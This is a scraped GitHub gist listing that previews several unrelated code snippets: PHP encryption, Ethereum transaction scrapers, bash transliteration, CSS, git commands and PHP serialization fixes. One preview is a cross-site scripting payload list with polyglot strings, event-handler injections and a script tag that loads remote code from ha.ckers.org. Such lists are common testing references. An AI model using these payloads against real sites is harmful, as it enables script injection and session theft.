This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* Реализация API, не изменяйте ее | |
* @param {string} url | |
* @param {function} callback | |
*/ | |
function getData(url, callback) { | |
var RESPONSES = { | |
'/countries': [ | |
{name: 'Cameroon', continent: 'Africa'}, | |
{name :'Fiji Islands', continent: 'Oceania'}, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
@media (max-width: 767px) { | |
.text-xs-left { | |
text-align: left !important;; | |
} | |
.text-xs-right { | |
text-align: right !important; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
translit() { | |
local NAME=${*:-$(cat)}; | |
local TRS; | |
TRS=$(sed "y/абвгдезийклмнопрстуфхцы/abvgdezijklmnoprstufxcy/" <<< "$NAME") | |
TRS=$(sed "y/АБВГДЕЗИЙКЛМНОПРСТУФХЦЫ/ABVGDEZIJKLMNOPRSTUFXCY/" <<< "$TRS") | |
TRS=${TRS//ч/ch}; | |
TRS=${TRS//Ч/CH} TRS=${TRS//ш/sh}; | |
TRS=${TRS//Ш/SH} TRS=${TRS//ё/jo}; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
// ENCRYPTION | |
$method = 'AES-256-CBC'; | |
$secret = 'my secret'; | |
$key = 'test'; | |
$hex_key = (bin2hex($key)); // example 74657374 | |
$length = openssl_cipher_iv_length($method); | |
$iv = openssl_random_pseudo_bytes($length); | |
// $iv = hex2bin("047ed7c4aaf0069daa06b633b86aff67"); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$currentBlock = 6430271; | |
$fileName = 'transactions.csv'; | |
file_put_contents($fileName, "txhash;from;to;timestamp;amount\r\n"); | |
$max_iters = 999; | |
$txhashes = []; | |
$tx_count = 0; | |
while (--$max_iters) { | |
echo "Progress block: $currentBlock count: $tx_count (iterations limit: $max_iters)\r"; | |
$out = ''; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$fileName = 'balances.csv'; | |
file_put_contents($fileName, "address;balance\r\n"); | |
$addresses_str = "0x1c1f7cf92e3fd0cc449ef08724a6c59c06a33c9c | |
0xaba2f30af702f3d250a54566bf840bdbcfd8b05c | |
0xf9f3bf7fdfd156fa73c18e3b1b9780981a8227dc | |
0xab5f64fbad42c114ba6d80bd3818d68d9b85ecb4 | |
0x2243211fd15243a273fa23a3271d0c28a40a1dbb |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT> | |
'';!--"<XSS>=&{()} | |
0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-" | |
<script/src=data:,alert()> | |
<marquee/onstart=alert()> | |
<video/poster/onerror=alert()> | |
<isindex/autofocus/onfocus=alert()> | |
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT> | |
<IMG SRC="javascript:alert('XSS');"> | |
<IMG SRC=javascript:alert('XSS')> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// chlp 2019 | |
// go run server.go | |
package main | |
import ( | |
"bytes" | |
"fmt" | |
"io" | |
"net/http" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
git checkout old_name | |
git branch -m new_name | |
git push origin -d old_name | |
git push -u origin new_name |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$change_from = 'old_string'; | |
$change_to = 'new_string_new_length'; | |
$serialized = file_get_contents('serialized_data.txt'); | |
$serialized = str_replace($change_from, $change_to, $serialized); | |
function fix_str_length($matches) { | |
$string = $matches[2]; | |
$right_length = strlen($string); // yes, strlen even for UTF-8 characters, PHP wants the mem size, not the char count | |
return 's:' . $right_length . ':"' . $string . '";'; | |
} |
OlderNewer